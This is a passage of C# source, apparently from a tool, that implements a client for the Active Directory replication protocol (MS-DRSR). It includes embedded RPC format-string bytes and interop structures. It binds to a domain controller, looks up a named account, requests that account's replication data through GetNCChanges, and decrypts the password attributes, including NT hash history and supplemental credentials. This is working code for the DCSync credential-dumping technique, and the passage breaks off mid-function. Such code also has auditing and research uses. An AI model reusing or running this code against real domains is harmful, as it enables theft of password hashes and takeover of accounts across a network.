0xc8,0xff,0x5b,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x5c,0x5b,0x11,0x04,0x02,0x00,0x2b,0x09,0x29,0x54,0x0c,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x00,0x04,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x6c,0x00,0xff,0xff,0x16,0x03,0x0c,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,
0x12,0x08,0x25,0x5c,0x46,0x5c,0x08,0x00,0x08,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x08,0x08,0x5c,0x5b,0x1b,0x03,0x0c,0x00,0x19,0x00,0x00,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4b,0x5c,0x48,0x49,0x0c,0x00,0x00,0x00,0x02,0x00,0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x08,0x00,
0x08,0x00,0x12,0x08,0x25,0x5c,0x5b,0x4c,0x00,0xaf,0xff,0x5b,0x16,0x03,0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x20,0xbe,0xff,0x5b,0x08,
0x08,0x5b,0x16,0x03,0x04,0x00,0x4b,0x5c,0x46,0x5c,0x00,0x00,0x00,0x00,0x12,0x00,0xde,0xff,0x5b,0x08,0x5c,0x5b,0x11,0x00,0x02,0x00,0x2b,0x09,0x29,0x00,
0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0xff,0xff,0x16,0x03,
0x08,0x00,0x4b,0x5c,0x46,0x5c,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x08,0x5b,0x11,0x04,0x02,0x00,0x2b,0x09,0x29,0x54,0x0c,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x04,0x00,0x01,0x00,0x00,0x00,0xa4,0x00,0x02,0x00,0x00,0x00,0x76,0x01,0x03,0x00,
0x00,0x00,0x4a,0x02,0xff,0xff,0xff,0xff,0x9e,0x02,0xff,0xff,0x16,0x03,0x1c,0x00,0x4b,0x5c,0x46,0x5c,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,
0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x08,0x00,0x08,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x0c,0x00,0x0c,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,
0x10,0x00,0x10,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x5c,0x5b,0x1b,0x03,0x1c,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,
0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x4b,0x5c,0x48,0x49,0x1c,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x04,0x00,0x04,0x00,
0x12,0x08,0x25,0x5c,0x08,0x00,0x08,0x00,0x12,0x08,0x25,0x5c,0x0c,0x00,0x0c,0x00,0x12,0x08,0x25,0x5c,0x10,0x00,0x10,0x00,0x12,0x08,0x25,0x5c,0x5b,0x4c,
0x00,0x75,0xff,0x5b,0x16,0x03,0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x20,0xa6,0xff,0x5b,0x08,0x08,0x5b,0x16,0x03,0x68,0x00,0x4b,0x5c,
0x46,0x5c,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x08,0x00,0x08,0x00,0x12,0x08,0x25,0x5c,
0x46,0x5c,0x0c,0x00,0x0c,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x10,0x00,0x10,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x14,0x00,0x14,0x00,0x12,0x08,0x25,0x5c,
0x46,0x5c,0x18,0x00,0x18,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x4c,0x00,0xc1,0xf7,0x4c,0x00,0xbd,0xf7,0x4c,
0x00,0xb9,0xf7,0x4c,0x00,0xb5,0xf7,0x5b,0x1b,0x03,0x68,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x4b,0x5c,
0x48,0x49,0x68,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x08,0x00,0x08,0x00,0x12,0x08,
0x25,0x5c,0x0c,0x00,0x0c,0x00,0x12,0x08,0x25,0x5c,0x10,0x00,0x10,0x00,0x12,0x08,0x25,0x5c,0x14,0x00,0x14,0x00,0x12,0x08,0x25,0x5c,0x18,0x00,0x18,0x00,
0x12,0x08,0x25,0x5c,0x5b,0x4c,0x00,0x3f,0xff,0x5b,0x16,0x03,0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x20,0x96,0xff,0x5b,0x08,0x08,0x5b,
0x16,0x03,0x6c,0x00,0x4b,0x5c,0x46,0x5c,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x08,0x00,
0x08,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x0c,0x00,0x0c,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x10,0x00,0x10,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x14,0x00,
0x14,0x00,0x12,0x08,0x25,0x5c,0x46,0x5c,0x18,0x00,0x18,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x4c,0x00,
0xe8,0xf6,0x4c,0x00,0xe4,0xf6,0x4c,0x00,0xe0,0xf6,0x4c,0x00,0xdc,0xf6,0x5c,0x5b,0x1b,0x03,0x6c,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x10,0x27,0x00,0x00,0x4b,0x5c,0x48,0x49,0x6c,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x12,0x08,0x25,0x5c,0x04,0x00,0x04,0x00,0x12,0x08,
0x25,0x5c,0x08,0x00,0x08,0x00,0x12,0x08,0x25,0x5c,0x0c,0x00,0x0c,0x00,0x12,0x08,0x25,0x5c,0x10,0x00,0x10,0x00,0x12,0x08,0x25,0x5c,0x14,0x00,0x14,0x00,
0x12,0x08,0x25,0x5c,0x18,0x00,0x18,0x00,0x12,0x08,0x25,0x5c,0x5b,0x4c,0x00,0x3d,0xff,0x5b,0x16,0x03,0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,
0x12,0x20,0x96,0xff,0x5b,0x08,0x08,0x5b,0x16,0x03,0x1c,0x00,0x4b,0x5c,0x46,0x5c,0x18,0x00,0x18,0x00,0x12,0x08,0x25,0x5c,0x5b,0x08,0x08,0x08,0x08,0x08,
0x08,0x08,0x5c,0x5b,0x1b,0x03,0x1c,0x00,0x19,0x00,0x00,0x00,0x11,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x27,0x00,0x00,0x4b,0x5c,0x48,0x49,0x1c,0x00,
0x00,0x00,0x01,0x00,0x18,0x00,0x18,0x00,0x12,0x08,0x25,0x5c,0x5b,0x4c,0x00,0xbd,0xff,0x5b,0x16,0x03,0x08,0x00,0x4b,0x5c,0x46,0x5c,0x04,0x00,0x04,0x00,
0x12,0x20,0xc6,0xff,0x5b,0x08,0x08,0x5b,0x00
};
#endregion
#region RPC structures
[StructLayout(LayoutKind.Sequential)]
private struct DRS_EXTENSIONS_INT
{
public UInt32 cb;
public UInt32 dwFlags;
public Guid SiteObjGuid;
public UInt32 Pid;
public UInt32 dwReplEpoch;
public UInt32 dwFlagsExt;
public Guid ConfigObjGUID;
public UInt32 dwExtCaps;
}
[StructLayout(LayoutKind.Sequential)]
private struct DRS_MSG_DCINFOREQ_V1
{
public IntPtr Domain;
public UInt32 InfoLevel;
}
[StructLayout(LayoutKind.Sequential)]
private struct DRS_MSG_DCINFOREPLY_V2
{
public UInt32 cItems;
public IntPtr rItems;
}
[StructLayout(LayoutKind.Sequential)]
private struct DS_DOMAIN_CONTROLLER_INFO_2W
{
public IntPtr NetbiosName;
public IntPtr DnsHostName;
public IntPtr SiteName;
public IntPtr SiteObjectName;
public IntPtr ComputerObjectName;
public IntPtr ServerObjectName;
public IntPtr NtdsDsaObjectName;
public UInt32 fIsPdc;
public UInt32 fDsEnabled;
public UInt32 fIsGc;
public Guid SiteObjectGuid;
public Guid ComputerObjectGuid;
public Guid ServerObjectGuid;
public Guid NtdsDsaObjectGuid;
}
[StructLayout(LayoutKind.Sequential)]
private struct USN_VECTOR
{
public long usnHighObjUpdate;
public long usnReserved;
public long usnHighPropUpdate;
}
[StructLayout(LayoutKind.Sequential)]
private struct SCHEMA_PREFIX_TABLE
{
public UInt32 PrefixCount;
public IntPtr pPrefixEntry;
}
[StructLayout(LayoutKind.Sequential)]
private struct DSNAME
{
public UInt32 structLen;
public UInt32 SidLen;
public Guid Guid;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 28)]
public byte[] Sid;
public UInt32 NameLen;
public byte StringName;
};
[StructLayout(LayoutKind.Sequential)]
private struct DRS_MSG_GETCHGREQ_V8
{
public Guid uuidDsaObjDest;
public Guid uuidInvocIdSrc;
public IntPtr pNC;
public USN_VECTOR usnvecFrom;
public IntPtr pUpToDateVecDest;
public UInt32 ulFlags;
public UInt32 cMaxObjects;
public UInt32 cMaxBytes;
public UInt32 ulExtendedOp;
public ulong liFsmoInfo;
public IntPtr pPartialAttrSet;
public IntPtr pPartialAttrSetEx;
public SCHEMA_PREFIX_TABLE PrefixTableDest;
}
[StructLayout(LayoutKind.Sequential)]
private struct DRS_MSG_GETCHGREPLY_V6
{
public Guid uuidDsaObjSrc;
public Guid uuidInvocIdSrc;
public IntPtr pNC;
public USN_VECTOR usnvecFrom;
public USN_VECTOR usnvecTo;
public IntPtr pUpToDateVecSrc;
public SCHEMA_PREFIX_TABLE PrefixTableSrc;
public UInt32 ulExtendedRet;
public UInt32 cNumObjects;
public UInt32 cNumBytes;
public IntPtr pObjects;
public UInt32 fMoreData;
public UInt32 cNumNcSizeObjects;
public UInt32 cNumNcSizeValues;
public UInt32 cNumValues;
public IntPtr rgValues;
public UInt32 dwDRSError;
}
[StructLayout(LayoutKind.Sequential)]
private struct DRS_MSG_CRACKREQ_V1
{
public UInt32 CodePage;
public UInt32 LocaleId;
public UInt32 dwFlags;
public UInt32 formatOffered;
public UInt32 formatDesired;
public UInt32 cNames;
public IntPtr rpNames;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct DS_NAME_RESULT_ITEMW
{
public UInt32 status;
public IntPtr pDomain;
public IntPtr pName;
}
[StructLayout(LayoutKind.Sequential)]
private struct DS_NAME_RESULTW
{
public UInt32 cItems;
public IntPtr rItems;
}
[StructLayout(LayoutKind.Sequential)]
private struct ATTRVAL
{
public UInt32 valLen;
public IntPtr pVal;
}
[StructLayout(LayoutKind.Sequential)]
private struct ATTRVALBLOCK
{
public UInt32 valCount;
public IntPtr pAVal;
}
[StructLayout(LayoutKind.Sequential)]
private struct ATTR
{
public UInt32 attrTyp;
public ATTRVALBLOCK AttrVal;
}
[StructLayout(LayoutKind.Sequential)]
private struct ATTRBLOCK
{
public UInt32 attrCount;
public IntPtr pAttr;
}
[StructLayout(LayoutKind.Sequential)]
private struct ENTINF
{
public IntPtr pName;
public UInt32 ulFlags;
public ATTRBLOCK AttrBlock;
}
[StructLayout(LayoutKind.Sequential)]
private struct REPLENTINFLIST
{
public IntPtr pNextEntInf;
public ENTINF Entinf;
public UInt32 fIsNCPrefix;
public IntPtr pParentGuid;
public IntPtr pMetaDataExt;
}
private enum ATT
{
[Description("displayName")]
ATT_RDN = 589825,
ATT_OBJECT_SID = 589970,
ATT_WHEN_CREATED = 131074,
ATT_WHEN_CHANGED = 131075,
ATT_SAM_ACCOUNT_NAME = 590045,
ATT_USER_PRINCIPAL_NAME = 590480,
ATT_SERVICE_PRINCIPAL_NAME = 590595,
ATT_SID_HISTORY = 590433,
ATT_USER_ACCOUNT_CONTROL = 589832,
ATT_SAM_ACCOUNT_TYPE = 590126,
ATT_LOGON_HOURS = 589888,
ATT_LOGON_WORKSTATION = 589889,
[Description("lastLogon")]
ATT_LAST_LOGON = 589876,
ATT_PWD_LAST_SET = 589920,
ATT_ACCOUNT_EXPIRES = 589983,
ATT_LOCKOUT_TIME = 590486,
ATT_UNICODE_PWD = 589914,
ATT_NT_PWD_HISTORY = 589918,
ATT_DBCS_PWD = 589879,
ATT_LM_PWD_HISTORY = 589984,
ATT_SUPPLEMENTAL_CREDENTIALS = 589949,
}
#endregion
#region drsr class and public interfaces
public drsr()
{
Guid interfaceId = new Guid("e3514235-4b06-11d1-ab04-00c04fc2dcd2");
if (IntPtr.Size == 8)
{
InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, 4, 0);
}
else
{
InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, 4, 0);
}
}
~drsr()
{
freeStub();
Uninitialize();
}
private Guid ntDSAGuid;
private DRS_EXTENSIONS_INT extensions;
private IntPtr hBind;
public void Initialize(string server, string domain)
{
UInt32 result;
ntDSAGuid = Guid.Empty;
extensions = new DRS_EXTENSIONS_INT();
IntPtr hDrs = IntPtr.Zero;
try
{
hBind = Bind(server);
if (hBind == IntPtr.Zero)
throw new Exception("Unable to connect to the server " + server);
DRS_EXTENSIONS_INT extensions_int = new DRS_EXTENSIONS_INT();
extensions_int.cb = (UInt32)(Marshal.SizeOf(typeof(DRS_EXTENSIONS_INT)) - Marshal.SizeOf(typeof(UInt32)));
extensions_int.dwFlags = 0x04000000 | 0x00008000;
result = DrsBind(hBind, new Guid("e24d201a-4fd6-11d1-a3da-0000f875ae0d"), extensions_int, out extensions, out hDrs);
if (result != 0)
throw new Win32Exception((int)result, "Unable to bind to Drs with generic Guid");
try
{
result = DrsDomainControllerInfo(hDrs, domain, server, out ntDSAGuid);
if (result != 0)
throw new Win32Exception((int)result, "Unable to get the NTDSA Guid for the DC " + server);
}
finally
{
DrsUnbind(ref hDrs);
}
}
catch (Exception)
{
if (hBind != IntPtr.Zero)
Unbind(hBind);
hBind = IntPtr.Zero;
}
}
private void Uninitialize()
{
if (hBind != IntPtr.Zero)
Unbind(hBind);
}
public Dictionary<string, object> GetData(string account)
{
UInt32 result;
Guid userGuid;
Dictionary<int, object> ReplicationData;
Dictionary<string, object> DecodedReplicationData;
IntPtr hDrs = IntPtr.Zero;
DRS_EXTENSIONS_INT extensions_out;
if (hBind == IntPtr.Zero)
throw new Exception("The class has not been initialized");
result = DrsBind(hBind, ntDSAGuid, extensions, out extensions_out, out hDrs);
if (result != 0)
{
throw new Win32Exception((int)result, "Unable to bind to the DC with the NTDSA guid " + ntDSAGuid);
}
try
{
result = CrackNameGetGuid(hDrs, account, out userGuid);
if (result != 0)
throw new Win32Exception((int)result, "Unable to crack the account " + account);
result = GetNCChanges(hDrs, ntDSAGuid, userGuid, out ReplicationData);
if (result != 0)
throw new Win32Exception((int)result, "Unable to get the replication changes for " + account);
}
finally
{
DrsUnbind(ref hDrs);
}
DecodeReplicationFields(ReplicationData, out DecodedReplicationData);
return DecodedReplicationData;
}
#endregion
#region drsr rpc functions and decoding functions
private UInt32 DrsBind(IntPtr hBinding, Guid NtdsDsaObjectGuid, DRS_EXTENSIONS_INT extensions_in, out DRS_EXTENSIONS_INT extensions_out, out IntPtr hDrs)
{
IntPtr result = IntPtr.Zero;
IntPtr pDrsExtensionsExt = IntPtr.Zero;
hDrs = IntPtr.Zero;
EnableMemoryTracking();
try
{
if (IntPtr.Size == 8)
{
result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(0), __arglist(hBinding, NtdsDsaObjectGuid, extensions_in, out pDrsExtensionsExt, out hDrs));
}
else
{
GCHandle handle1 = GCHandle.Alloc(NtdsDsaObjectGuid, GCHandleType.Pinned);
IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject();
GCHandle handle2 = GCHandle.Alloc(extensions_in, GCHandleType.Pinned);
IntPtr tempValuePointer2 = handle2.AddrOfPinnedObject();
IntPtr tempValue3 = IntPtr.Zero;
GCHandle handle3 = GCHandle.Alloc(tempValue3, GCHandleType.Pinned);
IntPtr tempValuePointer3 = handle3.AddrOfPinnedObject();
IntPtr tempValue4 = IntPtr.Zero;
GCHandle handle4 = GCHandle.Alloc(tempValue4, GCHandleType.Pinned);
IntPtr tempValuePointer4 = handle4.AddrOfPinnedObject();
try
{
result = CallNdrClientCall2x86(0, hBinding, tempValuePointer1, tempValuePointer2, tempValuePointer3, tempValuePointer4);
// each pinvoke work on a copy of the arguments (without an out specifier)
// get back the data
pDrsExtensionsExt = Marshal.ReadIntPtr(tempValuePointer3);
hDrs = Marshal.ReadIntPtr(tempValuePointer4);
}
finally
{
handle1.Free();
handle2.Free();
handle3.Free();
handle4.Free();
}
}
extensions_out = extensions_in;
DRS_EXTENSIONS_INT extensions_out_temp = (DRS_EXTENSIONS_INT)Marshal.PtrToStructure(pDrsExtensionsExt, typeof(DRS_EXTENSIONS_INT));
if (extensions_out_temp.cb > Marshal.OffsetOf(typeof(DRS_EXTENSIONS_INT), "SiteObjGuid").ToInt32())
{
extensions_out.SiteObjGuid = extensions_out_temp.SiteObjGuid;
if (extensions_out_temp.cb > Marshal.OffsetOf(typeof(DRS_EXTENSIONS_INT), "dwReplEpoch").ToInt32())
{
extensions_out.dwReplEpoch = extensions_out_temp.dwReplEpoch;
if (extensions_out_temp.cb > Marshal.OffsetOf(typeof(DRS_EXTENSIONS_INT), "dwFlagsExt").ToInt32())
{
extensions_out.dwFlagsExt = extensions_out_temp.dwFlagsExt & 4;
if (extensions_out_temp.cb > Marshal.OffsetOf(typeof(DRS_EXTENSIONS_INT), "ConfigObjGUID").ToInt32())
{
extensions_out.ConfigObjGUID = extensions_out_temp.ConfigObjGUID;
}
}
}
}
}
catch (SEHException)
{
extensions_out = new DRS_EXTENSIONS_INT();
int ex = Marshal.GetExceptionCode();
return (UInt32)ex;
}
finally
{
FreeTrackedMemoryAndRemoveTracking();
}
return (UInt32)result.ToInt64();
}
private UInt32 DrsUnbind(ref IntPtr hDrs)
{
IntPtr result = IntPtr.Zero;
try
{
if (IntPtr.Size == 8)
{
result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(60), __arglist(ref hDrs));
}
else
{
GCHandle handle1 = GCHandle.Alloc(hDrs, GCHandleType.Pinned);
IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject();
try
{
result = CallNdrClientCall2x86(58, tempValuePointer1);
// each pinvoke work on a copy of the arguments (without an out specifier)
// get back the data
hDrs = Marshal.ReadIntPtr(tempValuePointer1);
}
finally
{
handle1.Free();
}
}
}
catch (SEHException)
{
int ex = Marshal.GetExceptionCode();
return (UInt32)ex;
}
finally
{
}
return (UInt32)result.ToInt64();
}
private UInt32 DrsDomainControllerInfo(IntPtr hDrs, string domain, string serverName, out Guid NtdsDsaObjectGuid)
{
IntPtr result = IntPtr.Zero;
DRS_MSG_DCINFOREQ_V1 dcInfoReq = new DRS_MSG_DCINFOREQ_V1();
dcInfoReq.InfoLevel = 2;
dcInfoReq.Domain = Marshal.StringToHGlobalUni(domain);
UInt32 dcOutVersion;
UInt32 dcInVersion = 1;
DRS_MSG_DCINFOREPLY_V2 dcInfoRep = new DRS_MSG_DCINFOREPLY_V2();
EnableMemoryTracking();
try
{
if (IntPtr.Size == 8)
{
result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(600), __arglist(hDrs, dcInVersion, dcInfoReq, out dcOutVersion, ref dcInfoRep));
}
else
{
GCHandle handle1 = GCHandle.Alloc(dcInfoReq, GCHandleType.Pinned);
IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject();
IntPtr tempValue2 = IntPtr.Zero;
GCHandle handle2 = GCHandle.Alloc(tempValue2, GCHandleType.Pinned);
IntPtr tempValuePointer2 = handle2.AddrOfPinnedObject();
GCHandle handle3 = GCHandle.Alloc(dcInfoRep, GCHandleType.Pinned);
IntPtr tempValuePointer3 = handle3.AddrOfPinnedObject();
try
{
result = CallNdrClientCall2x86(568, hDrs, new IntPtr(dcInVersion), tempValuePointer1, tempValuePointer2, tempValuePointer3);
// each pinvoke work on a copy of the arguments (without an out specifier)
// get back the data
dcOutVersion = (UInt32)Marshal.ReadInt32(tempValuePointer2);
dcInfoRep = (DRS_MSG_DCINFOREPLY_V2)Marshal.PtrToStructure(tempValuePointer3, typeof(DRS_MSG_DCINFOREPLY_V2));
}
finally
{
handle1.Free();
handle2.Free();
handle3.Free();
}
}
NtdsDsaObjectGuid = GetDsaGuid(dcInfoRep, serverName);
}
catch (SEHException)
{
NtdsDsaObjectGuid = Guid.Empty;
int ex = Marshal.GetExceptionCode();
return (UInt32)ex;
}
finally
{
Marshal.FreeHGlobal(dcInfoReq.Domain);
FreeTrackedMemoryAndRemoveTracking();
}
return (UInt32)result.ToInt64();
}
private Guid GetDsaGuid(DRS_MSG_DCINFOREPLY_V2 dcInfoRep, string server)
{
Guid OutGuid = Guid.Empty;
int size = Marshal.SizeOf(typeof(DS_DOMAIN_CONTROLLER_INFO_2W));
for (uint i = 0; i < dcInfoRep.cItems; i++)
{
DS_DOMAIN_CONTROLLER_INFO_2W info = (DS_DOMAIN_CONTROLLER_INFO_2W)Marshal.PtrToStructure(new IntPtr(dcInfoRep.rItems.ToInt64() + i * size), typeof(DS_DOMAIN_CONTROLLER_INFO_2W));
string infoDomain = Marshal.PtrToStringUni(info.DnsHostName);
string infoNetbios = Marshal.PtrToStringUni(info.NetbiosName);
if (server.StartsWith(infoDomain, StringComparison.InvariantCultureIgnoreCase) || server.StartsWith(infoNetbios, StringComparison.InvariantCultureIgnoreCase))
{
OutGuid = info.NtdsDsaObjectGuid;
}
}
return OutGuid;
}
private UInt32 CrackNameGetGuid(IntPtr hDrs, string Name, out Guid userGuid)
{
IntPtr result = IntPtr.Zero;
userGuid = Guid.Empty;
DRS_MSG_CRACKREQ_V1 dcInfoReq = new DRS_MSG_CRACKREQ_V1();
if (Name.Contains("\\"))
dcInfoReq.formatOffered = 2;
else if (Name.Contains("="))
dcInfoReq.formatOffered = 1;
else if (Name.Contains("@"))
dcInfoReq.formatOffered = 8;
else
dcInfoReq.formatOffered = 0xfffffff9;
dcInfoReq.formatDesired = 6;
dcInfoReq.cNames = 1;
IntPtr NameIntPtr = Marshal.StringToHGlobalUni(Name);
GCHandle handle = GCHandle.Alloc(NameIntPtr, GCHandleType.Pinned);
dcInfoReq.rpNames = handle.AddrOfPinnedObject();
IntPtr dcInfoRep = IntPtr.Zero;
UInt32 dcInVersion = 1;
UInt32 dcOutVersion = 0;
EnableMemoryTracking();
try
{
if (IntPtr.Size == 8)
{
result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(442), __arglist(hDrs, dcInVersion, dcInfoReq, out dcOutVersion, ref dcInfoRep));
}
else
{
GCHandle handle1 = GCHandle.Alloc(dcInfoReq, GCHandleType.Pinned);
IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject();
IntPtr tempValue2 = IntPtr.Zero;
GCHandle handle2 = GCHandle.Alloc(tempValue2, GCHandleType.Pinned);
IntPtr tempValuePointer2 = handle2.AddrOfPinnedObject();
GCHandle handle3 = GCHandle.Alloc(dcInfoRep, GCHandleType.Pinned);
IntPtr tempValuePointer3 = handle3.AddrOfPinnedObject();
try
{
result = CallNdrClientCall2x86(418, hDrs, new IntPtr(dcInVersion), tempValuePointer1, tempValuePointer2, tempValuePointer3);
// each pinvoke work on a copy of the arguments (without an out specifier)
// get back the data
dcOutVersion = (UInt32)Marshal.ReadInt32(tempValuePointer2);
dcInfoRep = Marshal.ReadIntPtr(tempValuePointer3);
}
finally
{
handle1.Free();
handle2.Free();
handle3.Free();
}
}
if (result == IntPtr.Zero)
{
userGuid = ReadGuidFromCrackName(dcInfoRep);
if (userGuid == Guid.Empty)
{
result = new IntPtr(2); // not found
}
}
}
catch (SEHException)
{
int ex = Marshal.GetExceptionCode();
return (UInt32)ex;
}
finally
{
handle.Free();
FreeTrackedMemoryAndRemoveTracking();
}
return (UInt32)result.ToInt64();
}
private Guid ReadGuidFromCrackName(IntPtr dcInfoRep)
{
DS_NAME_RESULTW result = (DS_NAME_RESULTW)Marshal.PtrToStructure(dcInfoRep, typeof(DS_NAME_RESULTW));
if (result.cItems >= 1)
{
DS_NAME_RESULT_ITEMW item = (DS_NAME_RESULT_ITEMW)Marshal.PtrToStructure(result.rItems, typeof(DS_NAME_RESULT_ITEMW));
if (item.status != 0)
{
Trace.WriteLine("Error " + item.status + " when cracking the name");
return Guid.Empty;
}
else
{
string guidString = Marshal.PtrToStringUni(item.pName);
return new Guid(guidString);
}
}
else
{
return Guid.Empty;
}
}
private UInt32 GetNCChanges(IntPtr hDrs, Guid ntDSAGuid, Guid Userguid, out Dictionary<int, object> ReplicationData)
{
IntPtr result = IntPtr.Zero;
ReplicationData = null;
UInt32 dwInVersion = 8;
UInt32 dwOutVersion = 0;
DRS_MSG_GETCHGREQ_V8 pmsgIn = new DRS_MSG_GETCHGREQ_V8();
DRS_MSG_GETCHGREPLY_V6 pmsgOut = new DRS_MSG_GETCHGREPLY_V6();
DSNAME dsName = new DSNAME();
dsName.Guid = Userguid;
EnableMemoryTracking();
try
{
Trace.WriteLine("GetNCChanges");
IntPtr unmanageddsName = AllocateMemory(Marshal.SizeOf(typeof(DSNAME)));
Marshal.StructureToPtr(dsName, unmanageddsName, true);
pmsgIn.pNC = unmanageddsName;
pmsgIn.ulFlags = 0x00000020 | 0x00000010 | 0x00200000 | 0x00008000 | 0x00080000;
pmsgIn.cMaxObjects = 1;
pmsgIn.cMaxBytes = 0x00a00000; // 10M
pmsgIn.ulExtendedOp = 6;
pmsgIn.uuidDsaObjDest = ntDSAGuid;
if (IntPtr.Size == 8)
{
result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(134), __arglist(hDrs, dwInVersion, pmsgIn, out dwOutVersion, ref pmsgOut));
}
else
{
GCHandle handle1 = GCHandle.Alloc(pmsgIn, GCHandleType.Pinned);
IntPtr tempValuePointer1 = handle1.AddrOfPinnedObject();
GCHandle handle2 = GCHandle.Alloc(dwOutVersion, GCHandleType.Pinned);
IntPtr tempValuePointer2 = handle2.AddrOfPinnedObject();
GCHandle handle3 = GCHandle.Alloc(pmsgOut, GCHandleType.Pinned);
IntPtr tempValuePointer3 = handle3.AddrOfPinnedObject();
try
{
result = CallNdrClientCall2x86(128, hDrs, new IntPtr(dwInVersion), tempValuePointer1, tempValuePointer2, tempValuePointer3);
// each pinvoke work on a copy of the arguments (without an out specifier)
// get back the data
dwOutVersion = (UInt32)Marshal.ReadInt32(tempValuePointer2);
pmsgOut = (DRS_MSG_GETCHGREPLY_V6)Marshal.PtrToStructure(tempValuePointer3, typeof(DRS_MSG_GETCHGREPLY_V6));
}
finally
{
handle1.Free();
handle2.Free();
handle3.Free();
}
}
MarshalReplicationData(pmsgOut, out ReplicationData);
}
catch (SEHException)
{
int ex = Marshal.GetExceptionCode();
return (UInt32)ex;
}
finally
{
FreeTrackedMemoryAndRemoveTracking();
}
return (UInt32)result.ToInt64();
}
private void MarshalReplicationData(DRS_MSG_GETCHGREPLY_V6 pmsgOut, out Dictionary<int, object> replicationData)
{
IntPtr pObjects = pmsgOut.pObjects;
uint numObjects = pmsgOut.cNumObjects;
replicationData = new Dictionary<int, object>();
REPLENTINFLIST list = (REPLENTINFLIST)Marshal.PtrToStructure(pObjects, typeof(REPLENTINFLIST));
int size = Marshal.SizeOf(typeof(ATTR));
for (uint i = 0; i < list.Entinf.AttrBlock.attrCount; i++)
{
ATTR attr = (ATTR)Marshal.PtrToStructure(new IntPtr(list.Entinf.AttrBlock.pAttr.ToInt64() + i * size), typeof(ATTR));
Trace.WriteLine("Type= " + attr.attrTyp);
int sizeval = Marshal.SizeOf(typeof(ATTRVAL));
List<byte[]> values = new List<byte[]>();
for (uint j = 0; j < attr.AttrVal.valCount; j++)
{
ATTRVAL attrval = (ATTRVAL)Marshal.PtrToStructure(new IntPtr(attr.AttrVal.pAVal.ToInt64() + j * sizeval), typeof(ATTRVAL));
byte[] data = new byte[attrval.valLen];
Marshal.Copy(attrval.pVal, data, 0, (int)attrval.valLen);
switch ((ATT)attr.attrTyp)
{
//case ATT.ATT_CURRENT_VALUE:
case ATT.ATT_UNICODE_PWD:
case ATT.ATT_NT_PWD_HISTORY:
case ATT.ATT_DBCS_PWD:
case ATT.ATT_LM_PWD_HISTORY:
case ATT.ATT_SUPPLEMENTAL_CREDENTIALS:
//case ATT.ATT_TRUST_AUTH_INCOMING:
//case ATT.ATT_TRUST_AUTH_OUTGOING:
data = DecryptReplicationData(data);
break;
}
values.Add(data);
}
if (values.Count == 1)
{
replicationData[(int)attr.attrTyp] = values[0];
}
